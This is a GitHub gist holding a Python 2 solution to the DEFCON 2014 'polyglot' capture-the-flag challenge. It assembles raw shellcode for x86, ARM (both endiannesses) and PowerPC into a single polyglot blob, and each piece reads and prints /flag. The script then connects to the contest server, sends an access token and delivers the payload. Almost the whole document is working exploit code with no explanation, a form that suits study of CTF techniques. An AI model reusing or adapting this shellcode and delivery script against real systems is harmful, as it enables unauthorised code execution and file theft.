Created
May 19, 2014 16:13
-
-
Save potetisensei/48ededdb9e98c038a8d0 to your computer and use it in GitHub Desktop.
DEFCON 2014 Writeup polyglot
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import socket | |
x86 = '\xbc\x00\x08\x00\x42\xbd\x00\x0e\x00\x42\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xef\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x66\x6c\x61\x67\x00' | |
armel = ',\xd0\x9f\xe5\x01`\x8f\xe2\x16\xff/\xe1xF\x1c0\x00!\x05\'\x00\xdf\x03\'iF\xff"\x00\xdf\x02\x1c\x04\'\x01 \x00\xdf\x02 \x01\'\x00\xdf/flag\x00\x00\x00\x00\x08\x00B' | |
armeb = '\xe5\x9f\xd0,\xe2\x8f`\x01\xe1/\xff\x16Fx0\x1c!\x00\'\x05\xdf\x00\'\x03Fi"\xff\xdf\x00\x1c\x02\'\x04 \x01\xdf\x00\x1a\x00\'\x01\xdf\x00/flag\x00\x00\x00B\x00\x08\x00' | |
ppc = '8 B\x00:\x00\x00\x10|!\x8008!\x08\x00H\x00\x00\x05|h\x02\xa68c\x00D8\x80\x00\x008\x00\x00\x05D\x00\x00\x028\x00\x00\x038\x81\x00\x008\xa0\x00\xffD\x00\x00\x028\xa3\x00\x008\x00\x00\x048\x81\x00\x008`\x00\x01D\x00\x00\x028c\xff\xfd8\x00\x00\x01D\x00\x00\x02/flag\x00\x00\x00' | |
poly = '' | |
poly += '\x40\x3f\x04\x40' | |
poly += '\x71\x00\x00\xea' | |
poly += '\x7a\x00\x01\xea' | |
poly += x86 | |
poly += '\x00' * (0x1d0 - len(poly)) | |
poly += armel | |
poly += '\x00' * (0x440 - len(poly)) | |
poly += ppc | |
poly += '\x00' * (0x7b8 - len(poly)) | |
poly += armeb | |
open('shellcode', 'wb').write(poly) | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.connect(('polyglot_9d64fa98df6ee55e1a5baf0a170d3367.2014.shallweplayaga.me', 30000)) | |
print sock.recv(1024) | |
sock.sendall('w0rk_tHaT_tAlEnTeD_t0nGu3\n') | |
print sock.recv(1024) | |
print sock.recv(1024) | |
sock.sendall(poly) | |
while True: | |
time.sleep(1) | |
print sock.recv(1024) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment